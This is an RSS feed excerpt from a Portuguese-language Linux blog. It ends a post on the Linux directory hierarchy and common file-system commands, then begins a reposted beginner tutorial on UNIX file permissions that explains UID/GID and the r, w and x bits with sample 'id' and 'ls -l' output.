<p><strong>reiserfs:</strong> sistema de arquivos com suporte a características como, por exemplo, melhor performance para diretórios muito grandes e suporte a transações (journalling).</p>
<p><strong>iso9660:</strong> sistema de arquivos do CD-ROM.</p>
<p><strong>hpfs:</strong> sistema de arquivos do OS/2®.]</p>
<p>continuando&#8230;..</p>
<p>Primeira coisa com que você precisa se habituar é que no Linux os discos e partições não aparecem necessariamente como unidades diferentes, como o C:, D:, E: do Windows. Tudo faz parte de um único diretório, chamado <strong>diretório raiz(root) ou simplesmente &#8220;/&#8221;.</strong><br />
Dentro deste diretório temos não apenas todos arquivos e as partições de disco, mas também o CD-ROM, drive de disquete e outros dispositivos, formando a estrutura que você vê no gerenciador de arquivos.</p>
<p><strong>/bin -</strong> é o diretório que contém o mínimo necessário para funcionar e poder ser manuseado pelo administrador. Serão necessárias ferramentas que se encontram em outros diretórios para que a máquina fique operacional. A maioria dos programas possui o seu arquivo executável neste diretório.</p>
<p><strong>/boot</strong> &#8211; contém informações para o gerenciador de inicialização do sistema. É aqui que normalmente fica o arquivo contendo o kernel da máquina e informações para o carregador do sistema operacional.</p>
<p><span style="font-weight:bold;">/cdrom</span> &#8211; Não é propriamente um diretório, mas sim um link para o diretório /media/cdrom (ponto de montagem do dispositivo leitor de CD/DVD da máquina;</p>
<p><strong>/dev &#8211; </strong> é o local onde ficam armazenadas as referências aos dispositivos presentes na máquina, para o controle destes dispositivos. Esse diretório contém apontadores para, por exemplo, o drive de disquetes, os discos da máquina, terminais virtuais, portas de acesso seriais e paralelas, etc. Os controladores são automaticamente criados durante a instalação do sistema e posteriormente podem ser criados através do comando MAKEDEV.</p>
<ul>
<li><strong>devfs </strong> &#8211; contém todos arquivos-dispositivos, inclusive para dispositivos que não existem no computador e irá ocupar espaço em disco.</li>
<li><strong>udev</strong> &#8211; utilizado a partir do kernel 2.6.12, não ocupa espaço em disco e contém somente os arquivos-dispositivos dos devices presentes na máquina.</li>
</ul>
<p><strong>/etc</strong> &#8211; é um dos mais importantes diretórios da máquina. Nele ficam a maioria dos arquivos de configuração e manipulação dos serviços essenciais ao sistema, a maioria dos arquivos de configuração de acesso a rede e de comunicação, arquivos de configuração do Sistema de Janelas X, arquivos de configuração do idioma do sistema, de atualizações, enfim, de muitas funcionalidades da máquina.</p>
<p><strong>/home</strong> &#8211; contém os diretórios pessoais dos usuários e suas configurações(funciona como a pasta Meu Documentos,no windows).</p>
<p><strong>/lib</strong> &#8211; é o diretório onde ficam as bibliotecas básicas do sistema. Elas são compartilhadas por diversos programas, principalmente os que se encontram no diretório raiz.</p>
<p><strong>/mnt</strong> &#8211; é o diretório utilizado para o acesso a dispositivos de mídia, como disquetes e CD-ROM. Ele é utilizado como ponto de montagem para a maioria destes dispositivos.</p>
<p><strong>/proc</strong>- Não é bem um diretório. Trata-se de um filesystem virtual, cheio de arquivos virtuais, que na verdade são apenas referências dinâmicas dos procedures (procedimentos) do Kernel Linux, que são alteradas constantemente durante a utilização do sistema; fornece informações sobre o kernel e sobre os processos que estão rodando no momento, além de informações sobre a utilização de alguns dispositivos. Alguns parâmetros do kernel podem ser alterados diretamente nesses arquivos, fazendo com que as modificações passem a valer imediatamente. Esse diretório não ocupa espaço nenhum em disco e as informações ali presentes são geradas apenas quando solicitadas.</p>
<p><span style="font-weight:bold;">/root</span> -  Esse é o diretório do superusuário do sistema (pode chamar de administrador se quiser, mas não perto de mim, pois me lembra do termo usado por outro sisteminha (semi)operacional proprietário do qual não gosto muito ;-)). O único usuário do sistema com permissão para realizar qualquer modificação no sistema. Aí você me pergunta: &#8220;Mas gmazk, se é uma pasta de usuário, porque não está dentro de /home ?&#8221;. E eu explico: conforme você vai ver na minha próxima publicação (a respeito de planejamento do particionamento da maquina e instalação do sistema), é conveniente durante a instalação do sistema, determinar que o diretório /home seja montado em uma partição separada da partição principal (onde estão os demais diretórios do sistema). Se o diretório root estivesse nessa partição separada (dentro de /home) e ocorresse com essa partição, o que costumo chamar de um &#8220;momento PUTZ… ferrou!&#8221;, a pasta /root também estaria inacessível, e como você já sabe, certas coisas só podem ser feitas no sistema pelo usuário root… Então você não poderia, por exemplo, inicializar o sistema para realizar uma recuperação nessa partição;</p>
<p><span style="font-weight:bold;">/opt</span> &#8211; Se verificar o conteúdo deste diretório, MUITO provavelmente ele estará vazio. A idéia inicial deste diretório era armazenar programas que não fizessem parte da distribuição GNU/Linux instalada em seu sistema, porém, esse método de separação quase não é utilizado;<strong></strong> Ele pode ser útil por questões de espaço.</p>
<p><strong>/sbin</strong> contém ferramentas de interesse do superusuário e que geralmente são usadas por serviços básicos da máquina. Ficam nesse diretório programas como os responsáveis pela carga de módulos do kernel, ativação e interrupção das interfaces de rede, manutenção dos sistemas de arquivos e outras atividades.</p>
<p><span style="font-weight:bold;">/srv</span> &#8211; É um diretório que sofre do mesmo problema de esquecimento e solidão que o diretório opt, pois não é utilizado nunca… A idéia inicial era usá-lo para armazenar dados que seriam disponibilizados por qualquer programa servidor que você utilizasse no sistema, mas foi outra idéia que &#8220;não pegou&#8221;;</p>
<p><span style="font-weight:bold;">/sys</span> &#8211; O nome vem do sysfs (sys filesystem). É o diretório usado pelo Kernel Linux para manter dados atualizados sobre os dispositivos de hardware da máquina (não confunda, não é a mesma coisa que /dev, já que no /dev estão arquivos que servem de ligação com os dispositivos, e não informações sobre eles);</p>
<p><strong>/tmp</strong> serve como repositório para arquivos temporários, sendo utilizado para programas que são executados após a ativação do sistema, ou seja, este diretório serve como espaço extra para vários programas e aplicações.</p>
<p><strong>/var </strong>- Contém arquivos que são modificados com o decorrer do uso do sistema (e-mail , temporários, filas de impressão, manuais).</p>
<p><strong>Dentro do /var encontramos:</strong></p>
<p><strong>/var/lib </strong>- Bibliotecas que mudam enquanto o sistema está rodando.<br />
<strong>/var/local</strong> &#8211; Arquivos variáveis de programas que estão rodando.<br />
<strong>/var/lock</strong> &#8211; Travas para indicar que um programa está utilizando um determinado dispositivo.<br />
<strong>/var/log</strong> &#8211; Arquivos de log do sistema (erros, logins, etc..)<br />
<strong>/var/run</strong> &#8211; Arquivos importantes ao sistema úteis até o próximo boot (atualizações de softwares e kernel).<br />
<strong>/var/spool</strong> &#8211; Diretório de filas de impressão, e-mail e outros<br />
<strong>/var/tmp</strong> &#8211; Arquivos temporários dos programas<br />
<strong>/var/catman</strong> &#8211; Um cache para manuais que são formatados na hora de serem utilizados.</p>
<p><strong>O diretório /usr</strong></p>
<p>Este e um diretório interessante que preciso explicar melhor.O que tem nele?Contém os arquivos das ferramentas e dos aplicativos do usuário.</p>
<p><strong>/usr bin</strong> :Contém ferramentas e aplicativos de cada usuário.Ao criar uma nova conta de usuário,o sistema cria automaticamente uma pasta /usr/bin<br />
<strong>/usr dict </strong>:Diretório que são armazenados os dicionários(o nome dict deriva do inglês dictionary) e as listas de termos do usuário.<br />
<strong>/usr/doc</strong> :Esse Diretório contem a documentação do sistema em uso.<br />
<strong>/usr/info</strong> :Nesse Diretório encontramos os arquivos para o sistema GNU info,baseado em hipertextos<br />
<strong>/usr/lib</strong> :Assim como o Diretório /bin da raíz contem as bibliotecas para execução das ferramentas,dessa vez,porem,trata-se dos componentes das ferramentas,dessa vez,porem,trata-se dos componentes das ferramentas que se encontram no Diretório /usr/bin<br />
<strong>/usr/local </strong>:Essa pasta contem arquivos locais,ou seja,exclusivos para cada sistema(ou aplicativo),que incluem documentação(/usr/local/doc)e os programas em si(/usr/local/bin).<br />
<strong>/usr/man</strong> :diretório que agrupa os manuais que podem ser lidos com o comando man.<br />
<strong>/usr/share</strong> :Contém arquivos e componentes compartilhados por vários aplicativos.Nesse Diretório,encontramos diversos subdiretórios com arquivos de ajuda,ícones,etc.<br />
<strong>/usr/src </strong>: Esse diretório contem o codigo-fonte(source)dos softwares disponiveis no sistema. Esses sources podem ser visualizados e alterados livremente.<br />
<strong>/usr/tmp</strong> :E o diretório em que são colocacos os arquivos temporários gerados pelo usuário ativo.</p>
<p><strong>Comandos do Sistema de Arquivos</strong></p>
<p>Aqui estão os comandos para lidar com o sistema de arquivos (HDs, drives e partições de rede).</p>
<p>badblocks &#8211; Utilizado para encontrar defeitos físicos no HD.<br />
cfdisk &#8211; Similar ao fdisk só que com uma interface melhorada.<br />
df &#8211; Mostra o espaço livre no disco.<br />
dosfsck Verifica e repara sistemas FAT do DOS.<br />
du &#8211; Mostra o espaço que ocupa um diretório e os arquivos internos.<br />
dump &#8211; Usado para fazer o backup de um sistema ext2. O complemento deste comando é o restore.<br />
dumpe2fs &#8211; Faz o backup de blocos do HD e grupos.<br />
e2fsck &#8211; Verifica um volume ext2 em busca de erros.<br />
e2label &#8211; Muda o nome de uma partição ext2.<br />
fdisk &#8211; Usado para criar, editar e apagar partições no HD.<br />
fdformat &#8211; Formata um disquete.<br />
mount &#8211; Usado para &#8220;montar&#8221; um sistema de arquivos. O complemento deste comando é o umount.<br />
restore &#8211; Usado para restaurar um sistema ext2.<br />
umount &#8211; Desmonta o sitema de arquivos. O complemento é o comando mount.<br />
cdrecord &#8211; Grava CDs.<br />
cdparanoia &#8211; Grava CDs de audio.</p>
<p><strong>Manipulação de arquivos e diretórios</strong></p>
<p>cd &#8211; Muda para um diretório. Se você não especificar nada ele muda para seu diretório HOME.<br />
chmod &#8211; Muda as permissões para acesso aos arquivos e diretórios (Escrita, Leitura, etc..)<br />
chown &#8211; Muda o propritário e grupo de um arquivo ou diretório.<br />
chgrp &#8211; Muda o grupo de um arquivo ou diretório.<br />
cp &#8211; Copia os arquivos de um diretório/pasta para outro diretório/pasta.<br />
dir &#8211; Lista o conteúdo de um diretório (preferir o comando &#8220;ls&#8221;).<br />
find &#8211; Procura arquivos com determinadas características na árvore de diretórios.<br />
ln &#8211; Cria um link simbólico para um arquivo.<br />
ls &#8211; Lista os arquivos de um diretório.<br />
mc &#8211; Midinght Commander. Um gerenciador de arquivos completo para o console.<br />
mkdir &#8211; Cria um diretório.<br />
mv &#8211; Move ou renomeia um arquivo.<br />
rm &#8211; Exclui arquivos.<br />
rmdir &#8211; Exclui um diretório vazio.<br />
vdir &#8211; Lista o conteúdo de um diretório.<br />
wheris &#8211; Localiza o executável, código fonte e manual de um comando.<br />
ghomemover_console &#8211; Programa escrito por Daniel Brooke Peig que faz a mudança de diretórios alterando as referências a arquivos.</p>
<p><strong>Referencias:</strong><br />
<span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.guiadohardware.net/dicas/linux-entendendo-arvore-diretorios.html" target="_blank">http://www.guiadohardware.net/dicas/linux-entendendo-arvore-diretorios.html</a></span></span><br />
<span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.danbp.org/linuxcom.html" target="_blank">http://www.danbp.org/linuxcom.html</a></span></span><br />
<span style="color:#0000ff;"><span style="text-decoration:underline;"><a href="http://www.conectiva.com/doc/livros/online/10.0/servidor/pt_BR/ch02.html" target="_blank">http://www.conectiva.com/doc/livros/online/10.0/servidor/pt_BR/ch02.html</a></span></span></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/0x66.wordpress.com/30/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/0x66.wordpress.com/30/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/30/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/30/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/30/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=30&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/06/24/entendendo-as-estruturas-e-diretorios/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
		<item>
		<title>Permissões de Arquivos UNIX</title>
		<link>http://0x66.wordpress.com/2008/06/24/permissoes-de-arquivos-unix/</link>
		<comments>http://0x66.wordpress.com/2008/06/24/permissoes-de-arquivos-unix/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 15:33:40 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[comandos do linux]]></category>
		<category><![CDATA[digital]]></category>
		<category><![CDATA[segurança]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=13</guid>
		<description><![CDATA[.&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-.
&#124; Permissões de Arquivos UNIX `&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;,
&#124; Por MELEU &#60;meleu arroba meleu ponto cjb ponto net&#62;    atualizado em 08/2007 &#124;
`&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&#8217;- = &#60;  Í N D I C E  &#62; = -0. Intro
0.1. Changelog
0.2. ToDo
1. Identificações
2. Permissões de Arqvivos
2.1. Permissões Básicas
2.2. Permissões Especiais
3. Sobre Alguns Comandos
3.1. chmod
3.2. ls
3.3 find
3.4. test
3.5. umask
3.6. chattr
3.7. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=13&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div><span style="color:#000000;">.&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-.<br />
| Permissões de Arquivos UNIX `&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;,<br />
| Por MELEU &lt;meleu arroba meleu ponto cjb ponto net&gt;    atualizado em 08/2007 |<br />
`&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;&#8217;</span><span style="color:#000000;">- = &lt;  Í N D I C E  &gt; = -</span><span style="color:#000000;">0. Intro<br />
0.1. Changelog<br />
0.2. ToDo</span></div>
<div><span style="color:#000000;">1. Identificações</span></div>
<div><span style="color:#000000;">2. Permissões de Arqvivos<br />
2.1. Permissões Básicas<br />
2.2. Permissões Especiais</span></div>
<div><span style="color:#000000;">3. Sobre Alguns Comandos<br />
3.1. chmod<br />
3.2. ls<br />
3.3 find<br />
3.4. test<br />
3.5. umask<br />
3.6. chattr<br />
3.7. Outros Comandos</span><span style="color:#000000;">4. Usando C<br />
4.1. Informações sobre Arquivos<br />
4.2. Mudando Permissões</span><span style="color:#000000;">5. Esquemas Úteis</span><span style="color:#000000;">6. Referências</span><span style="color:#000000;">7. Considerações Finais</span><span style="color:#000000;">Apêndice. Arquivos de Dispositivo</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">0. Intro<br />
^^^^^</span></p>
<p><span style="color:#000000;">Como vocês podem ver isso é assunto bem NewBie mesmo, arrisco dizer que<br />
é um assunto de Wannabe Newbie. Só estou escrevendo sobre isto pois quando<br />
precisei saber detalhes sobre permissões de arquivos não encontrei nada em<br />
português que me ajudasse muito (confesso que não procurei muito :P ).<br />
E pode ser que esse texto venha a ajudar alguém numa consulta rápida sobre<br />
determinada permissão&#8230;<br />
Se você já é aquele fuçador tarimbado pode ser que você não encontre<br />
nenhuma novidade na parte que descrevo as permissões, porém a parte que<br />
envolve C pode ser de alguma utilidade. ;)<br />
E se você é elite, com certeza já sabe o conteúdo daqui e não vai<br />
querer perder seu precioso tempo&#8230;</span></p>
<p><span style="color:#000000;">Agradecimentos: Nash (por tudo), module (aindo vou morar na sua casa), eSc2<br />
(vulgo Escape Duplo), xf (se pedir por favor eu até faço :P ), Blind_Bard<br />
(e nossa partida de D&amp;D?!), Hekodangews (quer aprender, saia do IRC), klogd<br />
(pela companhia nas altas madrugadas :) ), hts (pela dica do pulltheplug),<br />
Zarro (simplesmente por ter vontade de aprender e correr atrás), Cs0 (meleca<br />
é você seu bundão! :P ) a minha namorada (por não reclamar de eu ficar horas<br />
na frente do PC e por não me decepcionar debaixo dos lençóis :-) ), ao pessoal<br />
da extinta mail list unsekurity (cuja participação foi fundamental para a<br />
realização deste texto, me tiraram algumas dúvidas), a um cara chamado Ademar<br />
&lt;www.ademar.org&gt; (por ter dado uma lida no texto e ter me dado uns toques<br />
legais), e a todos que ajudam a comunidade fuçadora (e que eu esqueci de<br />
mencionar) e não deixam que ela suma!</span></p>
<p><span id="more-13"></span><span style="color:#000000;">0.1. Changelog<br />
&#8212;&#8212;&#8212;</span></p>
<p><span style="color:#000000;">08/2007:<br />
~~~~~~~<br />
-&gt; Corrigida a seção mais importante do texto: Referências</span></p>
<p><span style="color:#000000;">-&gt; Corrigida a informação de que o bash ignora o suid nele mesmo</span></p>
<p><span style="color:#000000;">-&gt; Correção da descrição do sticky bit em arquivos.</span></p>
<p><span style="color:#000000;">-&gt; Inserida a seção 3.5. umask.</span></p>
<p><span style="color:#000000;">-&gt; Inserida a seção 3.6. chattr.</span></p>
<p><span style="color:#000000;">-&gt; Correção de alguns erros bobos.</span></p>
<p><span style="color:#000000;">07/2002:<br />
~~~~~~~<br />
-&gt; Correção de erros de português e acentuação das palavras;</span></p>
<p><span style="color:#000000;">-&gt; Correção de algumas informações erradas, incompletas, e/ou mal<br />
explicadas, como por exemplo a parte que falo sobre C (agora está mais<br />
organizadinho).</span></p>
<p><span style="color:#000000;">-&gt; Os códigos agora estão entre as tags do Phrack Extraction Utility;</span></p>
<p><span style="color:#000000;">-&gt; Inclusão da seção 1 &#8220;Identificações&#8221;;</span></p>
<p><span style="color:#000000;">-&gt; Inclusão da seção 5 &#8220;Esquemas Úteis&#8221; (bem bacaninha!).</span></p>
<p><span style="color:#000000;">0.2. ToDo<br />
&#8212;-</span></p>
<p><span style="color:#000000;">Coisas que faltam no texto para que eu o julgue completo:</span></p>
<p><span style="color:#000000;">-&gt; Falar sobre o comando chattr;</span></p>
<p><span style="color:#000000;">-&gt; Incluir informações sobre ACL&#8217;s (antes eu preciso aprender mais sobre isso);</span></p>
<p><span style="color:#000000;">-&gt; Falar sobre outras system calls que têm alguma relação com permissões de<br />
arquivo e manipulação de ID.</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">1. Identificações<br />
^^^^^^^^^^^^^^</span></p>
<p><span style="color:#000000;">Cada usuário cadastrado no sistema possui dois números relacionados ao seu<br />
login. Um é o UID (User IDentification) e o outro é o GID (Group<br />
IDentification). Isso é porque o UNIX não considera o nome do usuário para<br />
determinar suas permissões, ele só trabalha com números, neste caso o UID e<br />
o GID ou em outros casos o EUID (Efective User IDentification).<br />
Você pode ver os ID&#8217;s de um usuário digitando (adivinha!) &#8220;id&#8221; no prompt.</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
root@meleu:~# id<br />
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Você deve ter reparado que o UID do root é 0. Qualquer pessoa (não<br />
interessa o seu username) que tiver UID 0 terá PERMISSÃO TOTAL no sistema,<br />
ou seja, nível de super-usuário. Sempre que eu falar neste texto &#8220;nível de<br />
super-usuário&#8221; eu estou querendo dizer &#8220;UID igual a 0&#8243;. Cada username<br />
cadastrado no sistema precisa de um, e somente um, UID.<br />
Dá pra ver também que o root faz parte de vários grupos. Logo concluímos<br />
que um usuário pode ter vários GID&#8217;s, quer dizer, um usuário pode pertencer<br />
a vários grupos.</span></p>
<p><span style="color:#000000;">Além destes dois há também o EUID. Este é usado com arquivos que<br />
contenham permissões especiais (explicadas no tópico 2.2). Você vai entender<br />
sobre EUID quando ler sobre arquivos com SUID, mais adiante.</span></p>
<p><span style="color:#000000;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#000000;">2. Permissões de Arqvivos<br />
^^^^^^^^^^^^^^^^^^^^^^</span></p>
<p><span style="color:#000000;">Primeiro devemos saber que todas as informações sobre os arquivos vêm de<br />
uma estrutura chamada inode. O inode contém informações sobre o UID e GID<br />
do arquivo, as permissões do arquivo, o tipo do arquivo e o timestamp<br />
do arquivo (informações sobre a última modificação, último acesso, etc).<br />
Para ver o número do inode de um arquivo basta um &#8220;ls -i&#8221;.</span></p>
<p><span style="color:#000000;">Também devemos saber que as permissões possuem 3 &#8220;níveis&#8221;:</span></p>
<p><span style="color:#000000;">+ Proprietário: só pode ser exatamente 1, o dono do arquivo;<br />
+ Grupo: engloba todos os membros de um determinado grupo;<br />
+ Outros: se refere a qualquer pessoa que não seja o proprietário e que não<br />
pertença ao grupo.</span></p>
<p><span style="color:#000000;">O proprietário de determinado arquivo/diretório é responsável pelas suas<br />
permissões de acesso.</span></p>
<p><span style="color:#000000;">Basta um &#8220;ls -l&#8221; para ver as permissões, o dono do arquivo e o grupo.<br />
Vamos a um exemplo:</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:~$ ls -l<br />
total 28<br />
drwxr-xr-x   5 meleu    users        4096 Jul 25 10:26 GNUstep/<br />
drwxrwx&#8212;   2 meleu    staff        4096 Dec 22 06:58 myprogs/<br />
-rw-r&#8211;r&#8211;   1 meleu    users        4163 Nov 16 06:43 rfc1244.txt<br />
drwxr-xr-x   2 meleu    staff        4096 Dec 28 16:09 mylibs/<br />
-rw&#8212;&#8212;-   1 meleu    users        1074 Dec 12 04:37 anotações.txt<br />
drwxr-x&#8212;   6 meleu    users        4096 Dec 28 16:12 textos/<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Note que todos os arquivos pertencem a &#8220;meleu&#8221; e uns arquivos pertencem ao<br />
grupo &#8220;users&#8221; enquanto outros pertencem ao grupo &#8220;staff&#8221;<br />
As permissões são mostradas de fato depois do primeiro caracter de cada<br />
linha, e sempre na sequência &#8220;rwx&#8221;. O esquema é o seguinte, os 3 primeiros<br />
caracteres após o primeiro descrevem as permissões do proprietário do arquivo;<br />
os 3 seguintes dizem respeito ao grupo; e os 3 últimos são referentes aos<br />
outros (que não seja o proprietário e nem pertença ao grupo). Note que em<br />
determinados itens aparece um &#8216;d&#8217; antes das permissões, isso significa que<br />
isto é um diretório (outros tipos são explicados no tópico 3.2.).</span></p>
<p><span style="color:#000000;">2.1. Permissões Básicas<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></p>
<p><span style="color:#000000;">Vamos falar sobre as permissões básicas. São elas o &#8216;r&#8217;, &#8216;w&#8217; e &#8216;x&#8217;.<br />
Tais permissões possuem significados diferentes quando aplicadas a arquivos<br />
e a diretórios.</span></p>
<p><span style="color:#000000;">* r &#8211; Read (Leitura):<br />
+ Arquivo: significa que se pode ler o arquivo (através de um &#8220;cat&#8221; por<br />
exemplo.</span></p>
<p><span style="color:#000000;">+ Diretório: significa que se pode ver o conteúdo do diretório (através de<br />
&#8220;ls&#8221; por exemplo). Porém observe a explicação sobre a<br />
permissão de execução mais abaixo.</span></p>
<p><span style="color:#000000;">* w &#8211; Write (escrita, gravação)<br />
+ Arquivo: significa que se pode adicionar conteúdo e alterar um arquivo.</span></p>
<p><span style="color:#000000;">+ Diretório: significa que se pode criar e/ou apagar qualquer, repito<br />
QUALQUER, arquivo e/ou diretório que esteja dentro deste,<br />
mesmo que não se tenha permissão alguma para o<br />
arquivo/diretório a ser apagado. Observe a explicação sobre<br />
permissão de execução abaixo e &#8220;sticky bit&#8221; em 2.2.<br />
Dica: NUNCA deixe o seu diretório home com esta permissão para<br />
outros (também conhecida como world-writable).</span></p>
<p><span style="color:#000000;">* x &#8211; eXecute (execução)<br />
+ Arquivo: pode-se executar o programa ou shell script (se um arquivo texto<br />
não for um script e tiver esta permissão e você executar vai dar<br />
um monte de &#8220;command not found&#8221;).</span></p>
<p><span style="color:#000000;">+ Diretório: significa que pode-se &#8220;entrar&#8221; no diretório. Esta permissão<br />
é importante quando atribuída a um diretório. De nada adianta<br />
uma permissão &#8216;w&#8217; se não tiver &#8216;x&#8217;. Já no caso do &#8216;r&#8217; sem &#8216;x&#8217;<br />
ainda podemos ver o conteúdo do diretório, porém com algumas<br />
limitações. Mas na hora de executar um &#8220;find&#8221; (tópico 3.3.)<br />
precisamos ter &#8216;r&#8217; e &#8216;x&#8217;.<br />
Veja o exemplo abaixo, observe as permissões do diretório<br />
&#8220;pratica&#8221; (o comando &#8220;id&#8221; que aparece no começo é apenas<br />
para mostrar &#8220;quem sou eu&#8221;):</span></p>
<p><span style="color:#000000;">(ATENÇÃO: não confunda *o usuário* &#8220;hack&#8221; com *o grupo* &#8220;hack&#8221;, os nomes são<br />
iguais mas são coisas diferentes!)</span></p>
<p><span style="color:#000000;">/* -=-=-= exemplo =-=-=- */<br />
meleu:/home/hack$ id<br />
uid=1000(meleu) gid=100(users) groups=100(users)<br />
meleu:/home/hack$ ls -l<br />
total 20<br />
drwxr-xr-x   5 hack     hack         4096 Jul 25 10:26 GNUstep/<br />
drwxrwx&#8212;   2 hack     hack         4096 Dec 22 06:58 ferramentas/<br />
drwxr-xrw-   2 hack     nogroup      4096 Dec 29 00:21 pratica/<br />
drwxr-xr-x   2 hack     users        4096 Dec 28 16:09 progs/<br />
drwxr-x&#8212;   6 hack     users        4096 Dec 29 00:51 textos/<br />
meleu:/home/hack$ ls -l pratica/<br />
/bin/ls: pratica/script.sh: Permission denied<br />
/bin/ls: pratica/arquivo: Permission denied<br />
/bin/ls: pratica/dir_teste: Permission denied<br />
/bin/ls: pratica/mais_um_arquivo_teste: Permission denied<br />
/bin/ls: pratica/arquivo_teste: Permission denied<br />
total 0<br />
meleu:/home/hack$ touch pratica/once_more_test<br />
touch: pratica/once_more_test: Permission denied<br />
/* -=-=-= exemplo =-=-=- */</span></p>
<p><span style="color:#000000;">Observe que eu consegui ler o conteudo do diretorio pratica, mas nao<br />
consigo ver as permissoes destes arquivos. E nas duas ultimas linhas do exemplo<br />
note que eu tenho nao consigo criar um arquivo dentro de pratica, mesmo tendo<br />
permissao de escrita.</span></p>
<p><span style="color:#000000;">Vamos usar o &#8220;progs&#8221; da saída do comando &#8220;ls -l&#8221; acima para uma ilustração,<br />
vamos ver o que significa cada bit:</span></p>
<p><span style="color:#000000;">drwxr-xr-x   2 hack     users        4096 Dec 28 16:09 progs/</span></p>
<p><span style="color:#000000;">1: &#8216;d&#8217; &#8211;&gt; diz que é um diretório;<br />
2: &#8216;r&#8217; &#8211;&gt; mostra que o dono deste diretório pode ver o seu conteúdo;<br />
3: &#8216;w&#8217; &#8211;&gt; mostra que o dono deste diretório pode criar e/ou apagar<br />
arquivos/diretórios que estejam dentro dele;<br />
4: &#8216;x&#8217; &#8211;&gt; mostra que o dono deste diretório pode entrar nele (através do<br />
comando cd)<br />
5: &#8216;r&#8217; &#8211;&gt; mostra que qualquer integrante do grupo &#8220;users&#8221; pode ver o conteúdo<br />
do diretório;<br />
6: &#8216;-&#8217; &#8211;&gt; mostra que integrantes do grupo &#8220;users&#8221; não podem criar e/ou apagar<br />
arquivos/diretórios que estejam no diretório &#8220;progs&#8221;;<br />
7: &#8216;x&#8217; &#8211;&gt; mostra que integrantes do grupo &#8220;users&#8221; podem &#8220;entrar&#8221; no diretório;<br />
8: &#8216;r&#8217; &#8211;&gt; qualquer pessoa que não seja o dono do arquivo e nem pertença ao<br />
grupo &#8220;users&#8221; pode ver o conteúdo do diretório;<br />
9: &#8216;-&#8217; &#8211;&gt; &#8220;outros&#8221; não podem criar e/ou apagar arquivos/diretórios que<br />
estejam no diretório &#8220;progs&#8221;;<br />
10: &#8216;x&#8217; &#8211;&gt; &#8220;outros&#8221; podem &#8220;entrar&#8221; no diretório.</span></p>
